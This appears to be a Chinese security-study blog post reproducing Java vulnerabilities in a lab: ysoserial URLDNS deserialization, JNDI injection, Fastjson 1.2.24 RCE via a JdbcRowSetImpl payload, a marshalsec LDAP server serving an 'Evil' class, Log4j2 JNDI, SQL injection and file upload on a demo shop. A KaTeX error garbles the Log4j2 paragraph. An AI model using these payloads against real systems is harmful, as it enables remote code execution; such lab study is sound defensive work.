java审计进阶

1、分析研究java反序列化漏dong原理并了解URLDNS链触发过程

在Java中,序列化/反序列化操作主要由 java.io.ObjectOutputStream.writeObject(Object) 方法和

java.io.ObjectInputStream.readObject()方法实现;

在实际开发中,更多是通过实现Serializable接口并重写readObject()方法对自定义类对象进行反序列化,以完成更多操作。

嗯实验代码如下:

再获取一个domain

进入ysoserial程序目录下,利用命令生成data.ser文件

bash 复制代码
java --add-opens java.base/java.net=ALL-UNNAMED -jar ysoserial.jar URLDNS "http://ef9ee9ae.log.dnslog.pp.ua." > data.ser

把data.ser放到项目代码目录,然后运行代码,读取data.ser并反序列化。看到dnslog回显,如下图

2、JNDI注入漏dong原理分析复习

我们来看一下ldap的

先打开jndi,启动JNDI-Injection-Exploit

bash 复制代码
java -jar NDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc

原代码如下:


修改一下client.java的uri的赋值,也是基于lookup()方法可控,运行弹出计算器

3、Fastjson 反序列化漏dong复习

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏dong到至今,有着多次的安全补丁更新和绕过。

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是toJSONString( ),parse( )和parseObject( )。

当parse进行反序列化时,如果json字符串中有 *@type * ,会自动执行指定类中相对应属性的setter方法,并且会转换为 *@type * 指定类的类型

而parseObject进行反序列化时如果json字符串中有 *@type * ,会自动执行指定类的setter和getter方法,并且转换为 *JSONObject* 类

经过安全研究人员分析,目前主要存在三种利用方式:JNDI注入、TemplatesImpl 加载字节码、BCEL加载字节码。fastjson反序列化漏dong前后经过官方修复,又不断的被研究人员绕过,导致多个版本存在漏dong,但是最初版本1.2.24最为经典,这里以JNDI注入为例深入分析利用过程。

试试啊。首先受害者这里需要一个恶意类如下

java 复制代码
import java.io.IOException;

public class Evil {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

javac编译此类,我们全程用jdk1.8,这是fastjson漏dong的基本

在编译后得到的.class文件的存放目录创建一个http服务器python -m http.server 8000,此时访问该机ip的8000端口,即可看到Evil.class文件

接着在gong击机启动一个恶意的lDAP服务器,如下

bash 复制代码
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.40.129:8000/#Evil 1099

接着构建恶意json,其中localhost替换为监听1099端口的ip,就是gong击方的ip受害者引入fastjson

使用JSON.parseObject()函数将json文本转Java对象,且函数内的json文本内容可控,给该函数传入我们的恶意json,如下

java 复制代码
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String text = "{\n" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "\"dataSourceName\":\"ldap://192.168.31.156:1099/Evil\",\n" +
                "\"autoCommit\":true\n" +
                "}";
        JSON.parseObject(text);
    }
}

执行此代码就会在受害者方弹出计算器

方式二:gong击方利用其它小工具,如下图

修改main中的json文本的dataSourceName的值,执行也会弹出计算器

4、log4j2 jndi注入漏dong复习

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,当日志信息中出现 "KaTeX parse error: Expected '}', got 'EOF' at end of input: ...主要作用就是提取出日志信息中的{}信息,并根据内容调用。最终在JndiLookup.java中触发漏dong

5、搭建迷你天猫商城并复现fastjson、log4j2组件漏dong和sql注入和文件上传漏dong

首先搭建商城,如下图

项目中使用了mybatis那么全局搜索${

去UserMapper.xml,步步深入看到admin/user/{index}/{count}接口和String类型orderBy,基本上确定了sql注入 ,验证一下

文件上传 啊,直接搜素关键字

去第一个文件,这是上传用户头像无限制和校验,那么直接去上传其它测试,比如jsp和exe成功


fastjson啊 ,搜索json.parse

去第一个,审计代码得知这是购物车结算生成订单时的状态

那访问购物车并点击"去结算",抓包得到相关参数

修改orderItemMap字段值,添加{"@type":"java.net.Inet4Address","val":"zyzbdqgb.dns.adysec.com"},点击发送,访问NDSLog地址,也可以看到获取到回显信息。


log4j2啊

搜索关键字logger.info,还是去这个文件上传,这是用户头像上传接口

logger.info里是文件名赋值,那么我们修改文件名为gong击语句,便可触发log4j2漏dong。我们先启动监听

接下来找到用户头像修改的地方,上传图片,抓包修改文件名为gong击语句,点击发送,即可弹出计算器

相关推荐
罗超驿几秒前
14.LeetCode 438 题解:滑动窗口+哈希表找所有字母异位词
java·算法·leetcode
白驹笙鸣1 分钟前
STL allocator作用
开发语言·c++
小小编程路3 分钟前
C++ STL 原理与性能
开发语言·c++
码不停蹄的玄黓5 分钟前
Java线程池生命周期
java·开发语言
学习要积极7 分钟前
Spring AI Alibaba-ChatClient
java·人工智能·spring
武子康7 分钟前
Java-15 深入浅出MyBatis 分页与通用 Mapper 实战:PageHelper + tk.mybatis 从配置到分页查询
java·后端
财经资讯数据_灵砚智能7 分钟前
基于全球经济类多源新闻的NLP情感分析与数据可视化(夜间-次晨)2026年5月29日
人工智能·python·信息可视化·自然语言处理·ai编程
触底反弹10 分钟前
从数据结构到 Prompt 设计:前端工程师的 AI 时代进阶指南
javascript·人工智能·python
Kingairy10 分钟前
LUA环境搭建
开发语言·lua
z落落11 分钟前
C# 虚方法(virtual)与抽象方法 +区别+new方法隐藏 & override方法重写
java·开发语言·c#